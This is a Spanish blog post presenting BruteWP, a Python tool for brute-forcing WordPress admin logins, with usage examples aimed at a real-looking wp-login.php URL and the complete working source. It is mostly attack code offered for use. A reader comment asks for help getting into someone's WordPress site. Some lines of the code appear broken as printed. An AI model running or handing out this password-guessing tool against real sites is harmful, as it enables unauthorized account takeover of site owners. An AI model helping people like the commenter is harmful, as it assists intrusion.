Hola a todos! El día de hoy estuve probando una tool llamada BruteWP, hecha en Python y la verdad es que es muy rapida y efectiva. La probé con un wordpress de prueba y la verdad es que funcionó a la perfección.

Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.

Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress

Forma de uso:

1
BruteWP.py -t [target] -u [user] -w [wordlist]

Ejemplo:

1
./BruteWP.py -t https://antrax-labs.org/wp-login.php -u admin -w wordlist.txt

Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : www.mipagina.com/wp-login.php, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.

El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/python
#coding:utf-8
import argparse
import requests
from urlparse import urlparse

def reportarError(error):
    print """[*] ERROR!

Por favor, reporta este error:

{barras}
{error}
{barras}

En https://github.com/samuelproject/BruteWP/issues

Gracias por tu colaboracion!
"""
.format(error=error.message, barras="-"*len(error.message))


def attack(target, usuario, diccionario, restaurar = False):

    target = urlparse(target)

    if target.scheme == "":
        target = "http://{}".format(target.geturl())
    else:
        target = target.geturl()

    print "[*] Target: {}\n".format(target)

    diccionario = open(diccionario, 'r')
    diccionario = diccionario.readlines()

    iteracion = open('iteracion.txt','a+')
    iteracion.seek(0,0)
    contenido_iteracion = iteracion.readlines()

    if len(contenido_iteracion) == 0:
        iteracion.write("1\n")
        iteracion.close()
       
    iteracion = open('iteracion.txt','r+')
    contenido_iteracion = iteracion.readlines()
    iteracion.close()

    aux = diccionario
    cont = 1
    encontrado = False

    if restaurar:
        print "[*] Restaurando ataque...\n"
        ultimo_valor_iteracion = int(str(contenido_iteracion[len(contenido_iteracion)-1]).strip())
        aux = aux[ultimo_valor_iteracion-1:]
        if len(aux) == 0:
            cont = 1
            aux = diccionario
        else:
            cont = ultimo_valor_iteracion

   
    for password in aux:
        with open('iteracion.txt','w') as iteracion:
            try:
                cabeceras = {
                    "Content-type": "application/x-www-form-urlencoded",
                    "Accept": "text/plain"
                }

                payload = {
                    'log': usuario.strip(),
                    'pwd': password.strip()
                }

                response = requests.post(target, data=payload, headers=cabeceras, allow_redirects=False)

                if response.status_code in [302, 303]:
                    print '[%d] - Password: %s <----- BruteWP ha ENCONTRADO el password :)' % (cont,password.strip())
                    cont = 0
                    encontrado = True
                    break
                elif response.status_code == 200:
                    print '[%d] - Password: %s NOT FOUND' % (cont,password.strip())
                else:
                    print 'Error!!!!'

            except KeyboardInterrupt:
                print '\n[*] Ejecución terminada por el teclado'
                cont -= 1
                exit()
            except Exception as e:
                reportarError(e)
                exit()
            finally:
                cont += 1
                iteracion.write(str(cont)+'\n')

    if not encontrado:
        print "\nNo se ha podido encontrar el password. Intenta usar otro diccionario.\n"


def conexion():
    parser = argparse.ArgumentParser(
            usage="./BruteWP.py -t [target] -u [usuario] -w [diccionario]",
            add_help=False,        
    )
    parser.add_argument("-h", "--help", action="help", help="Mostrar este mensaje de ayuda y salir")
    parser.add_argument("-t", dest='target', help="Target a atacar. Ejemplo: www.sitewordpress/wp-login.php")
    parser.add_argument("-u", dest='usuario', help="Nombre de usuario de WordPress")
    parser.add_argument("-w", dest='diccionario', help="Diccionario para realizar el ataque")
    parser.add_argument("-r", dest='restaurar', action="store_true", help="Restaura la última sesión del ataque")
    args = parser.parse_args()
   
    autores = ['@Samuel.E']
    colaboradores = ['@aperezalbela']

    print """
 ____             _     __        ______  
| __ ) _ __ _   _| |_ __\ \     / /  _ \
|  _ \| '__| | | | __/ _ \ \ /\ / /| |_) |
| |_) | |  | |_| | ||  __/\ V  V / |  __/
|____/|_|   \__,_|\__\___| \_/\_/  |_|    
                                        v 1.1
                                        Por: {autores}
                                        Colaboradores: {colaboradores}
    """
.format(
        autores=', '.join(autores),
        colaboradores=', '.join(colaboradores)
    )
   
    if args.target and args.usuario and args.diccionario:
        attack(args.target, args.usuario, args.diccionario, args.restaurar)
    else:
        parser.print_help()


if __name__ == '__main__':
    conexion()

Repo: https://github.com/samuelproject/BruteWP

One Reply to “WordPress Brute Force”

  • LoordArthur
    LoordArthur

    hola, me interesa mucho el poder entrar una web con wordpress, podrías ayudarme a ahcerlo solo brindandoe alguna información básica?

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *